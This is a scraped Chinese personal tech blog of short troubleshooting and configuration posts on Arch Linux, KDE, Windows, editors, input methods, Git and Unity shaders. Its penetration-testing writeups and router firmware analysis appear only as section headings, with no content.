  401005:  bf 00 00 00 00         mov    $0x0,%edi
9
  40100a:  0f 05                  syscall

radare2#

现代的 CLI 逆向工具 radare2。

进入交互式 shell：

r2 -A test

pdf

Note

r2 默认显示 Intel 风格，要切换为 AT&T：e asm.syntax=att（该命令仅在当前会话生效）。

References#

Footnotes#

Instruction set architecture - Wikipedia ↩
Assembly language - Wikipedia ↩
Nisan N, Schocken S. 计算机系统要素: 如何从头构建一台现代计算机[M]. 李清安, 龚奕利, 译. 原书第2版. 北京: 机械工业出版社, 2024. ↩
Irvine K R. 汇编语言: 基于 x86 处理器[M]. 吴为民, 译. 原书第8版. 北京: 机械工业出版社, 2021. ↩ ↩²
Bryant R E, O’Hallaron D R. 深入理解计算机系统[M]. 龚奕利, 贺莲, 译. 原书第3版. 北京: 机械工业出版社, 2016. ↩
Lu H J, Matz M, Girkar M, 等. System V Application Binary Interface AMD64 Architecture Processor Supplement[S]. 1.0. 2025. ↩
俞甲子, 石凡, 潘爱民. 程序员的自我修养: 链接、装载与库[M]. 北京: 电子工业出版社, 2009. ↩
Advanced Micro Devices, Inc. AMD64 Architecture Programmer’s Manual Volume 2: System Programming[Z]. Revision 3.44. 2026. ↩ ↩² ↩³ ↩⁴
Intel Corporation. Intel® 64 and IA-32 Architectures Software Developer Manual Volume 2: Instruction Set Reference 2B[Z]. 2026. ↩ ↩² ↩³ ↩⁴

家目录下神秘出现的 .sys1og.conf

Tue, 14 Jul 2026 00:00:00 GMT

背景#

今天突然发现用户家目录下有一个 .sys1og.conf 文件，非常可疑：

用 sys1og 替换 syslog
是 dotfile
通过 pacman -Qo ~/.sys1og.conf 得知没有软件包认领该文件
根本不知道是什么文件，也不知道是什么时候出现的
内容是一行 UUID

但 stat .sys1og.conf 显示其被创建后从未被访问过，且没有执行权限，很是神秘。

线索#

经过本地排查无果，Google 搜索得到一条有用信息：

cosmicAC 的博客（谢谢你）

通过该文章得知这个 .sys1og.conf 大概率是微信产生的。

验证#

`pacman.log`#

于是我去检查了 /var/log/pacman.log，综合上面的 stat .sys1og.conf 得到如下信息：

微信安装时间

[某一天T22:09:58+0800] [ALPM] installed wechat-bin (4.1.1.4-1)

该文件创建时间

创建时间：同一天 22:10:53.516000051 +0800

中间间隔约一分钟

复现#

cat -A .sys1og.conf 得知该文件没什么用，并且从创建之后都没有被修改过，索性删除。打开微信，文件重新被创建，得以验证。

微信应该是启动时检查该文件是否存在，不存在就创建，存在就跳过。

环境

ArchLinux
x86_64
7.1.3-arch1-2
Wayland
KDE Plasma 6.7.2

得知 AUR 的 wechat-bin 版本 4.1.1.4-1 至 4.1.1.7-1 均会在每次重新启动微信进程时检查该文件。

总结#

微信，我***。

解决 Wayland 下 Chromium 系浏览器颜色偏浅

Sun, 12 Jul 2026 00:00:00 GMT

诊断#

使用任意屏幕拾色器如 KColorChooser 在任意 Github 仓库页面如 linux 两侧黑色背景进行拾色，正常值应为 #0d1117，若拾取到其他值，则存在偏色（或可与 Firefox 对比，肉眼可见 Chromium 的颜色更浅）。

是 Chromium 上游已知问题：

https://issues.chromium.org/issues/476172415

临时解决方案#

1
--disable-features=WaylandWpColorManagerV1

随后重新进行拾色，得到的值应为 #0d1117。

修复 fontconfig 显示繁体字形

Sun, 21 Jun 2026 00:00:00 GMT

问题描述#

环境

ArchLinux
KDE Plasma 6.7.0
Wayland
fontconfig 2.18.1

解决方案#

解决方案来自 ArchLinux CN tg 群组：银河-蜗牛

风险操作

sudo rm 前请再三检查

1
sudo rm -i /etc/fonts/conf.d/48-guessfamily.conf

确定要删除的文件后输入 yes

1
fc-cache -f

然后重启打开应用程序。

KDE 开机自动启用 NumLock

Fri, 19 Jun 2026 00:00:00 GMT

环境#

Arch Linux
WayLand
KDE Plasma 6.6.5
Plasma Login Manager

启用#

KDE 的设置中其实有 NumLock 选项（键盘 -> NumLock 在开机时的状态），但这个选项在我这里根本没有作用。

根据 ArchWiki，我们可以安装 systemd-numlockontty^aur：

1
yay -S systemd-numlockontty

然后启用 numLockOnTty systemd 服务：

1
sudo systemctl enable --now numLockOnTty

之后根据你的图形协议和登录方式（我这里是 Wayland + PLM，请参考 ArchWiki）进行不同的操作：

Plasma Login Manager#

Note

该文件权限为 600，所有者是 plasmalogin，看不到是正常的，使用 sudoedit

在 /var/lib/plasmalogin/.config/kdedefaults/kcminputrc 中添加：

1
[Keyboard]
2
NumLock=0

重启系统。

Rime 配置

Wed, 17 Jun 2026 00:00:00 GMT

介绍#

小狼毫 Weasel (Windows)
鼠须管 Squirrel (macOS)
中州韵 (Linux)
同文 Trime (Android)

以上输入法均为 Rime 引擎在不同平台的输入法实现，都可以当作 Rime

配置#

Rime 的目录结构：

1
.
2
├── build
3
│   ├── bopomofo.prism.bin
4
│   ├── bopomofo.schema.yaml
5
│   ├── default.yaml
6
│   ├── luna_pinyin.prism.bin
7
│   ├── luna_pinyin.reverse.bin
8
│   ├── luna_pinyin.schema.yaml
9
│   ├── luna_pinyin.table.bin
10
│   ├── luna_pinyin_fluency.schema.yaml
11
│   ├── luna_pinyin_simp.prism.bin
12
│   ├── luna_pinyin_simp.schema.yaml
13
│   ├── luna_pinyin_tw.prism.bin
14
│   ├── luna_pinyin_tw.schema.yaml
15
│   ├── stroke.prism.bin
16
│   ├── stroke.reverse.bin
17
│   ├── stroke.schema.yaml
18
│   ├── stroke.table.bin
19
│   ├── terra_pinyin.reverse.bin
20
│   ├── terra_pinyin.table.bin
21
│   └── weasel.yaml
22
├── default.custom.yaml    修改这个配置文件，会覆盖上面的 default.yaml
23
├── installation.yaml
24
├── luna_pinyin.userdb
25
│   ├── 000005.ldb
26
│   ├── 000008.log
27
│   ├── CURRENT
28
│   ├── LOCK
29
│   ├── LOG
30
│   ├── LOG.old
31
│   └── MANIFEST-000007
32
├── user.yaml
33
└── weasel.custom.yaml

展开收起

Linux#

Fcitx5#

用户配置文件位于 .local/share/fcitx5/rime/

在配置目录中新建 default.custom.yaml 文件，用于覆盖默认的配置。

1
patch:
2
  menu:
3
    # 候选词数量
4
    page_size: 9
5

6
  ascii_composer:
7
    switch_key:
8
      # 禁用左 Shift
9
      Shift_L: noop
10
      # 不是 Ctrl
11
      Control_L: commit_code
12

13
  switcher:
14
    # 禁用所有菜单按键
15
      hotkeys: []

展开收起

IBus#

配置目录

~/.config/ibus/rime

使用

1
ibus restart

重新部署

1
patch:
2
  __include: rime_ice_suggestion:/
3
  menu:
4
    page_size: 9 # 设置候选词数量
5

6
  ascii_composer:
7
    switch_key:
8
      Shift_L: noop # 禁用左 Shift
9
      Control_L: commit_code # 使用左 Control 切换
10

11
  switcher:
12
    hotkeys: [] # 关闭 Rime 菜单快捷键

Reference#

https://wiki.archlinuxcn.org/wiki/Rime

解决 Zed 不认识 TailwindCSS 规则

Tue, 16 Jun 2026 00:00:00 GMT

https://github.com/zed-industries/zed/issues/38596

1
  "lsp": {
2
    "vscode-css-language-server": {
3
      "settings": {
4
        "css": {
5
          "lint": {
6
            "unknownAtRules": "ignore",
7
          },
8
        },
9
      },
10
    },
11
  },

Zed TailwindCSS Docs 建议

1
{
2
  "languages": {
3
    "CSS": {
4
      "language_servers": [
5
        "tailwindcss-intellisense-css",
6
        "!vscode-css-language-server",
7
        "...",
8
      ],
9
    },
10
  },
11
}

VSCode Toggle Explorer

Thu, 30 Apr 2026 00:00:00 GMT

1
{
2
    "key": "alt+1",
3
    "command": "workbench.view.explorer",
4
    "when": "viewContainer.workbench.view.explorer.enabled"
5
},
6
{
7
    "key": "alt+1",
8
    "command": "workbench.action.closeSidebar",
9
    "when": "sideBarVisible && activeViewlet == 'workbench.view.explorer'"
10
},

解决蓝牙耳机在播放前后的电流声

Wed, 29 Apr 2026 00:00:00 GMT

在播放音频开始时以及播放结束后会产生一声电流声，是因为蓝牙耳机会自动睡眠。

解决方案：后台常驻一个进程阻止睡眠。

这里使用 SoundKeeper

vrubleg

soundkeeper

Repository details unavailable

—

Unavailable

按下 Win+R 输入 shell:startup 打开自启动目录将对应架构文件（通常是 SoundKeeper64.exe）放入即可，如果希望立即生效可以放入后双击打开，这个工具没有 GUI，会在后台常驻。

不同音频格式嵌入歌词的元数据标签

Thu, 16 Apr 2026 00:00:00 GMT


容器格式	元数据标签
mp3	UNSYNCED LYRICS
m4a	LYRICS
flac	LYRICS

Windows 可以使用 foobar2000 嵌入歌词。

Linux 可以使用 kid3

KDE

kid3

Repository details unavailable

—

Unavailable

ArchLinux

1
sudo pacman -S kid3

解决 Nautilus 中音乐封面不显示

Mon, 13 Apr 2026 00:00:00 GMT

问题描述#

环境：

OS: ArchLinux
WM: Hyprland (Wayland)
GPU: NVIDIA

视频和图片封面都正常显示，音乐封面不显示。

解决方案#

安装包 totem :

ArchLinux

1
sudo pacman -S totem

后重新打开 Nautilus.

解决 Steam 下载速度像 |sinx|

Sat, 11 Apr 2026 00:00:00 GMT

按 Win+X

选择 磁盘管理(K)

点击属性

Caution

如果你的 Steam 下载驱动器位于系统驱动器，请谨慎关闭该选项。

在策略中关闭写入缓存。

关闭后下载中的游戏应该会出现错误，等一会或重启 Steam 即可。

Obsidian 修改 MathJax 字号

Sat, 11 Apr 2026 00:00:00 GMT

参考：Reddit ObsidianMD

在仓库的 .obsidian\snippets 中新建一个 css 文件，

1
.MathJax {
2
  font-size: 1.3em;
3
}

然后在 Obsidian 设置 -> 外观中启用即可。

让 Obsidian 正确渲染 \oiint 和 \oiiint

Sat, 11 Apr 2026 00:00:00 GMT

由于当前版本 Obsidian 使用的 MathJax 版本不支持这两个命令（MathJax 4.0 已经支持），所以无法正常渲染，解决方案如下：

安装 Extended MathJax 插件#

跟随插件指示创建 preamble.sty

输入

1
\newcommand{\oiint}{\unicode{x222F}}
2
\newcommand{\oiiint}{\unicode{x2230}}

重新启动 Obsidian 后正常渲染。

VSCode 修改某个文件的编辑方式(编辑器)

Fri, 20 Feb 2026 00:00:00 GMT

例如我想以文本的形式编辑一个 obj 文件

在 VSCode 快捷键编辑中搜索

@command:workbench.action.reopenWithEditor

分配快捷键即可.

7-Zip 修改语言编码

Fri, 13 Feb 2026 00:00:00 GMT

GBK 936
Shift-JIS 932

1
7z x <文件> -o<输出路径> -mcp=932

即可用 Shift-JIS 解压

输出路径可以省略

如果需要能够方便修改编码的 GUI，可以看看 Peazip

peazip

PeaZip

Repository details unavailable

—

Unavailable

笔记本电脑 Type-C 口没电

Fri, 06 Feb 2026 00:00:00 GMT

前言#

今天开机后发现笔记本电脑侧面的两个普通 Type-C 口没电，Type-A 口都正常，PD 口也正常.

插在 C 口拓展坞上的鼠标键盘无线接收器无法使用，充电器也不能给其他设备充电.

解决#

完全关机后拔掉所有外接设备，长按电源键 30 秒，释放静电后开机，恢复正常.

还好不是硬件损坏 (

卡通渲染中的描边

Fri, 06 Feb 2026 00:00:00 GMT

法线外扩#

基本原理#

原理是渲染两次，第一个 Pass 正常渲染正面，将背面剔除，第二个 Pass 将正面剔除后先将背面顶点沿着法线的方向移动，外扩后再渲染背面，

最后两个 Pass 叠加在一起。

Unity 实现#

渲染正面

1
Shader "nekoside/default"
2
{
3
    Properties
4
    {
5
        _BaseColor("BaseColor", Color) = (0, 0, 0, 1)
6
    }
7

8
    SubShader
9
    {
10
        Tags
11
        {
12
            "RenderType" = "Opaque"
13
            "Queue" = "Geometry"
14
        }
15

16
        // 渲染正面
17
        Pass
18
        {
19
            Cull Back
20
            HLSLPROGRAM
21
            #include "Packages/com.unity.render-pipelines.universal/ShaderLibrary/Core.hlsl"
22
            #pragma vertex vert
23
            #pragma fragment frag
24

25
            CBUFFER_START(UnityPerMaterial)
26
            half4 _BaseColor;
27
            CBUFFER_END
28

29
            struct Attributes
30
            {
31
                float3 positionOS : POSITION;
32
            };
33

34
            struct Varyings
35
            {
36
                float4 positionHCS : SV_POSITION;
37
            };
38

39
            Varyings vert(Attributes IN)
40
            {
41
                Varyings OUT;
42
                OUT.positionHCS = TransformObjectToHClip(IN.positionOS);
43
                return OUT;
44
            }
45

46
            half4 frag(Varyings IN) : SV_Target
47
            {
48
                half4 OUT;
49
                OUT = half4(_BaseColor.rgba);
50
                return OUT;
51
            }
52
            ENDHLSL
53
        }
54
    }
55
}

展开收起

渲染背面（描边）

1
Shader "nekoside/outline"
2
{
3
    Properties
4
    {
5
        _OutlineColor ("Outline Color", Color) = (1, 1, 1, 1)
6
        _OutlineWidth ("Outline Width", Range(0, 0.5)) = 0.25
7
    }
8

9
    SubShader
10
    {
11
        Tags
12
        {
13
            "RenderType" = "Opaque" "Queue" = "Geometry"
14
        }
15

16
        // 渲染背面（描边）
17
        Pass
18
        {
19
            Cull Front
20
            HLSLPROGRAM
21
            #include "Packages/com.unity.render-pipelines.universal/ShaderLibrary/Core.hlsl"
22
            #pragma vertex vert
23
            pragma fragment frag
24

25
            CBUFFER_START(UnityPerMaterial)
26
            half4 _OutlineColor;
27
            float _OutlineWidth;
28
            CBUFFER_END
29

30
            struct Attributes
31
            {
32
                float3 positionOS : POSITION;
33
                float3 normalOS : NORMAL;
34
            };
35

36
            struct Varyings
37
            {
38
                float4 positionHCS : SV_POSITION;
39
            };
40

41
            Varyings vert(Attributes IN)
42
            {
43
                Varyings OUT;
44
                IN.positionOS += _OutlineWidth * IN.normalOS;
45
                OUT.positionHCS = TransformObjectToHClip(IN.positionOS);
46
                return OUT;
47
            }
48

49
            half4 frag(Varyings IN) : SV_Target
50
            {
51
                return _OutlineColor;
52
            }
53
            ENDHLSL
54
        }
55
    }
56
}

展开收起

因为 Unity 默认不会渲染所有 Pass（因为会对性能造成影响），所以我这里把两个 Pass 拆分为两个 Shader，一共使用两个 Material.

描边断开#

直接使用刚刚的 Shader 会变成这样

因为法线外扩得到的描边，会导致模型的硬边（比如这个立方体）连接处断开

解决方法是生成平滑法线

修改 Smoothing Angle

效果如下

不断弹出的 ms-gamingoverlay

Tue, 03 Feb 2026 00:00:00 GMT

原因#

原因是 Xbox Game Bar 被精简掉了，但是 Windows 的 Game DVR（Digital Video Recorder）后台还在。启动游戏等操作时，系统会去调用 ms-gamingoverlay: 协议，但是找不到对应的程序，所以弹出该提示框。

（Game DVR 是 Xbox 背后负责录制的东西）

解决方案#

禁用 Game DVR#

Note

这里推荐一个注册表编辑工具：RegCool，图形化且带有历史记录，可以回退。

（不是 FOSS，但是被广泛使用）

键：HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\GameDVR
值：AppCaptureEnabled
类型：REG_DWORD
数据：0

键：HKCU\System\GameConfigStore
值：GameDVR_Enabled
类型: REG_DWORD
数据：0

1
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\GameDVR /f /t REG_DWORD /v AppCaptureEnabled /d 0
2
reg add HKCU\System\GameConfigStore /f /t REG_DWORD /v GameDVR_Enabled /d 0

配置 Git 使用 SSH 签名和验证

Tue, 03 Feb 2026 00:00:00 GMT

配置#

基础配置#

生成一个新的 ssh 密钥：

1
ssh-keygen -t ed25519 -C "<邮箱>"

配置 Git 提交的全局用户名和邮箱：

1
git config --global user.name "<用户名>"

1
git config --global user.email "<邮箱>"

使用 SSH 进行签名#

配置 Git 提交自动进行签名：

1
git config --global commit.gpgsign true

配置签名使用 SSH：

1
git config --global gpg.format ssh

配置签名的 SSH 公钥

1
git config --global user.signingkey <SSH 公钥或私钥文件>

References#

提高 PowerShell 启动速度

Tue, 03 Feb 2026 00:00:00 GMT

在提权的 powershell 中执行以下代码：

1
# Source - https://stackoverflow.com/a/59343705
2
# Posted by Theo
3
# Retrieved 2026-06-24, License - CC BY-SA 4.0
4

5
$env:PATH = [Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
6
[AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object {
7
    $path = $_.Location
8
    if ($path) {
9
        $name = Split-Path $path -Leaf
10
        Write-Host -ForegroundColor Yellow "`r`nRunning ngen.exe on '$name'"
11
        ngen.exe install $path /nologo
12
    }
13
}

Windows 设置程序自启动

Mon, 26 Jan 2026 00:00:00 GMT

执行后会打开 C:\Users\<UserName>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

放在这里的程序开机后会自动执行，

可以把要自启动的可执行程序或其快捷方式放在这里.

解决 GNOME 下 Jetbrains IDE 任务栏不显示 ICON

Sun, 18 Jan 2026 00:00:00 GMT

问题描述#

解决方案#

这会在 /usr/share/applications/ 下自动创建一个 .desktop 文件, 会被 GNOME 识别

原先的在 ~/.local/share/applications 下的 .desktop 文件可以删除

Linux 下 USB 设备无法识别

Tue, 13 Jan 2026 00:00:00 GMT

原因#

更新 Linux 内核后没有重启, 导致 /lib/modules/ 下是新的内核, 而当前加载的是旧的内核, 插入 USB 设备后新的模块无法加载.

过程#

lsblk 中没有 USB 设备

1
lsmod | grep usb_storage

插入设备后 USB 模块仍未加载

尝试手动加载模块

1
sudo modprobe usb_storage

modprobe: FATAL: Module usb_storage not found in directory /lib/modules/6.18.4-zen1-1-zen

随后去 /lib/modules/ 下查看发现是 6.18.5 的内核

但是当前加载的是 6.18.4 内核

1
uname -r

输出 6.18.4-zen1-1-zen

重启电脑后问题解决

Reference#

XMake 基础

Tue, 13 Jan 2026 00:00:00 GMT

基本命令#

自动生成项目文件#

1
xmake create -P <目录>

-P 参数用于指定创建的项目目录

编译#

1
xmake

或

1
xmake build

或

1
xmake b

-y 参数可以自动确认要安装的依赖包

运行#

1
xmake run

或

1
xmake r

打包#

1
xmake package

或

1
xmake p

依赖管理#

编辑项目根目录下的 xmake.lua

通过 add_requires() , add_packages() 添加依赖

例如

1
add_requires("glad", "glfw", "gtk4");
2
add_requires("imgui", {
3
    configs = {
4
        glfw = true,
5
        opengl3 = true
6
    }
7
})
8
target("hello")
9
    set_kind("binary")
10
    add_files("src/*.cpp")
11
    add_packages("glad", "glfw", "imgui", "gtk4")

让 VSCode 读取 XMake 依赖#

生成 `compile_commands.json`#

自动生成 #

在 xmake.lua 中添加

1
add_rules("plugin.compile_commands.autoupdate", {outputdir = "[输出路径]"})

或使用XMake 的 VSCode 插件自动生成

手动生成#

1
xmake project -k compile_commands [输出路径]

其中 project 命令用于生成项目文件, -k 用于选择生成的项目文件类型

指定 `compile_commands.json`#

clangd 似乎默认只读取根目录下的 compile_commands.json

需要在 .clangd 中添加：

1
CompileFlags:
2
  CompilationDatabase: [compile_commands.json 目录]

也可以在 VSCode settings.json 中指定

1
"clangd.arguments": [
2
    "--compile-commands-dir=[指定你的路径]"
3
]

'xterm-kitty': unknown terminal type

Mon, 12 Jan 2026 00:00:00 GMT

问题#

在 SSH 中执行 clear 命令时报错, 提示 'xterm-kitty': unknown terminal type

解决方案#

上传 kitty 的 terminfo 到服务器 (推荐)#

1
kitty +kitten ssh <user>@<host>

本地终端降级 TERM#

bash/zsh#

1
export TERM=xterm-256color

fish#

1
set -gx TERM xterm-256color

安装 `kitty`#

在服务器中安装 kitty 即可

Arch 系

1
sudo pacman -S kitty

Debian 系

1
sudo apt install kitty

GNOME 修改默认终端类型

Sat, 10 Jan 2026 00:00:00 GMT

参考：https://discourse.gnome.org/t/default-terminal/1307

将自己使用的终端发送软链接到 /usr/bin, 叫做 gnome-terminal

1
sudo ln -s /usr/bin/fish /usr/bin/gnome-terminal

Android 读写权限

Tue, 06 Jan 2026 00:00:00 GMT

新版（Android 10 就有，但默认不开，11强制开启）#

MediaStore.

旧版（API 29及以下）#

NaN. 在 AndroidManifest.xml 中声明权限，并启用 requestLegacy

NaN. 在逻辑中请求权限 :

1
requestPermissions(new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE}, int CODE);

如何判断是否有权限#

1
ContextCompat.checkSelfPermission()

return CODE#

0 代表该权限被授予

Windows11 下 Win+X 菜单无法使用

Tue, 06 Jan 2026 00:00:00 GMT

环境#

版本 Windows 11 专业版
版本号 24H2
操作系统版本 26100.7171
体验 Windows 功能体验包 1000.26100.265.0

问题描述#

如图，无论右键 Windows 图标或按下 Win + X，都无法正常弹出菜单

同时，ContextMenuManager 出现以下问题（应该有关联

解决方案#

未知

WSL 安装提示：拒绝访问

Wed, 31 Dec 2025 00:00:00 GMT

明明已经提权，但仍提示拒绝访问，可以添加参数从 web 下载而非 Microsoft Store

1
wsl --install --web-download

修复 Github Notifications Bug

Sat, 27 Sep 2025 00:00:00 GMT

https://github.com/orgs/community/discussions/6874#discussioncomment-14507162

VSCode 一键运行 Rust

Fri, 05 Sep 2025 00:00:00 GMT

1
{
2
  "key": "f5",
3
  "command": "workbench.action.terminal.sendSequence",
4
  "args": {
5
    "text": "cargo run\u000D"
6
  },
7
  "when": "inRustProject"
8
}

添加到 Keybinding.json 中

https://stackoverflow.com/questions/72925072/how-to-create-a-shortcut-to-build-and-run-rust-code-from-inside-vs-code

同时修改 CMake 拓展的快捷键防止冲突

1
{
2
  "key": "f5",
3
  "command": "cmake.launchTarget",
4
  "when": "resourceLangId  cpp || resourceLangId  c"
5
}

Powershell 退格和 Delete 出现黑色背景

Thu, 28 Aug 2025 00:00:00 GMT

1
powershell -noprofile -command "Install-Module PSReadLine -Force -SkipPublisherCheck -scope allusers"

运行上述命令

https://github.com/microsoft/terminal/issues/6767
https://github.com/microsoft/terminal/issues/14619

Windows 卸载 GameOverLay 后禁用弹出窗口

Sun, 24 Aug 2025 00:00:00 GMT

1
reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\GameDVR /f /t REG_DWORD /v "AppCaptureEnabled" /d 0
2
reg add HKEY_CURRENT_USER\System\GameConfigStore /f /t REG_DWORD /v "GameDVR_Enabled" /d 0

https://learn.microsoft.com/en-us/answers/questions/3739326/how-to-stop-the-ms-gamingoverlay-popup

error：package Manifest does not exist

Sat, 07 Dec 2024 00:00:00 GMT

解决：导入这个包¹

1
import android.Manifest;

Preferences#

Footnotes#

Stack Overflow - android manifest is not recognized in activity ↩

Hexo 部署博客到云端

Fri, 29 Nov 2024 00:00:00 GMT

环境： Windows 10

1. 安装 `Git`#

Git

2. 安装 `Node.js`#

Node.js

3. 安装 `Hexo`#

Hexo

4. 安装数学渲染器 `Pandoc`#

Pandoc 官网

Pandoc Github 地址

自动部署脚本#

1
cmd /k "<你的blog所在盘符>: cd <你的blog根目录> && npx hexo clean && npx hexo d"

另存为 bat 文件.

如果重装系统#

如果重装系统，在完成上述步骤后，需要重新获取对仓库的访问权限.

此处以 Github 仓库为例:

1
ssh-keygen -t ed25519 -b 4096 -C "your_email@example.com"

-t rsa 指定了加密算法类型（type）为 Ed25519 算法,

不支持该算法的计算机可以用 rsa 算法

摘自 Github Docs

If you are using a legacy system that doesn’t support the Ed25519 algorithm, use:
1
ssh-keygen -t rsa -b 4096 -C "your_email@example.com"

-b 4096 指定了 key 的大小（bits）为 4096（默认为 2048）

使用该命令在默认路径（AppData 的 .ssh）下生成公钥和私钥,

然后 将公钥添加至 Github:

在 Github 的 Settings -> SH and GPG keys 中添加一个新的 SSH key.

最后重新运行刚刚的 bat 文件进行部署.

如果无法连接到 22 端口，

在 ~/.ssh 下创建 config 文件，并写入

1
Host github.com
2
Hostname ssh.github.com
3
Port 443
4
User git

后在 PowerShell 输入

1
ssh -T git@github.com

如果询问，输入 yes

图片路径问题#

图片粘贴到 MarkDown 文件后，在本地正常预览，但部署后无法正常预览（生成的 html 路径有误），

使用 hexo-assets-img 解决, （需要删除其他修复 hexo 图片路径的插件）

具体见 README.

参考 Reference#

Stack Overflow
GitHub Docs

SSEEdit中文乱码解决方案

Thu, 29 Aug 2024 00:00:00 GMT

转自

百度贴吧
用户 @暮林芬弥

解决方法#

4.0.1 之前的 SSEEdit#

在 MO 的启动参数中添加

1
-cp:utf8

此方法对我的 4.1.5 不起作用

4.0.1 之后的 SSEEdit#

在以下路径中找到 Plugins.sseviewsettings 文件并修改

1
<SystemDisk>:\Users\<UserName>\AppData\Local\Skyrim Special Edition\

在文件末添加以下内容

Plugins.sseviewsettings

1
[cpoverride]
2
english=utf8

重新打开 SSEEdit.

上古卷轴5 (Skyrim) 如何降级

Sat, 10 Aug 2024 00:00:00 GMT

Note

本文介绍的是 Steam SSE (Skyrim Special Edition) 版本而非 LE (Legendary Edition) 版本。

但方案一的降级原理应当^?适用于任何其他 Steam 游戏或软件。

对应的包 id 可以从 steamdb 查询，例如：

https://steamdb.info/app/489830/depots/

https://steamdb.info/depot/489832/manifests/

格式为：

download_depot <app id> <depot id> <manifest id>

方案一：手动从 steam 下载#

参考：

Steam 如何下载游玩特别版 1.5.97 版本【上古卷轴吧】
作者：贴吧@Zelzone

1.在 steam 下载本体#

Note

也许你可以不用下载本体，直接使用控制台下载特定版本，但是我没有试过。

像往常一样下载 Skyrim

2.打开 Steam 控制台#

Win+R 执行以下命令打开 Steam 控制台（打开慢稍等一下）

1
steam://nav/console

3.下载目标版本的游戏文件#

根据你需要的游戏版本分别下载三份文件包。

1.5.97#

1
download_depot 489830 489831 7848722008564294070

1
download_depot 489830 489832 8702665189575304780

1
download_depot 489830 489833 2289561010626853674

1.6.1170#

1
download_depot 489830 489831 8442952117333549665

1
download_depot 489830 489832 8042843504692938467

1
download_depot 489830 489833 1914580699073641964

下载完后打开本体目录，将所有内容删除，然后把刚刚下载的三个文件夹里的内容复制到游戏根目录。

下载目录位于 Steam\steamapps\content 中

installscript.vdf 可删除。

方案二：n 网降级补丁#

补丁地址

Unofficial Skyrim Special Edition Downgrade Patcher (nexusmods.com)

具体看补丁 Description.

nekoside

Blue Walkthrough

介绍#

分析#

侦察（Recon）#

User Flag#

Root Flag#

References#

Footnotes#

Lame Walkthrough

介绍#

分析#

侦察#

User Flag#

Root Flag#

后记#

References#

Footnotes#

DC-2 Writeup

介绍#

分析#

侦察#

flag1#

flag2#

flag3#

flag4#

flag5#

References#

Footnotes#

Node Writeup

介绍#

分析#

侦察#

user flag#

root flag#

References#

Footnotes#

DC-1 Writeup

介绍#

分析#

flag 1#

flag 2#

flag 3#

flag 4#

flag 5#

References#

Footnotes#

修复 XWayland 下的 Fcitx5 输入法

太长不看#

QQ#

Obsidian#

背景#

解决方案#

Chromium / Electron#

其他支持 Wayland 后端的应用#

Godot#

普通 X11 应用#

去掉新建快捷方式的后缀

环境#

方案#

References#

Footnotes#

路由器固件漏洞分析

环境搭建#

固件提取#

unblob#

binwalk#

仿真#

用户态仿真#

全系统仿真#

FirmAE#

FAT#

qemu-system#

NVRAM#

漏洞挖掘#

Web Server#

CGI#

逆向工程#

汇编#

References#

`qemu-system`#

`msinfo32`#

3. `bcdedit` 显式关闭#

`mov`#

`add`#

`mul`#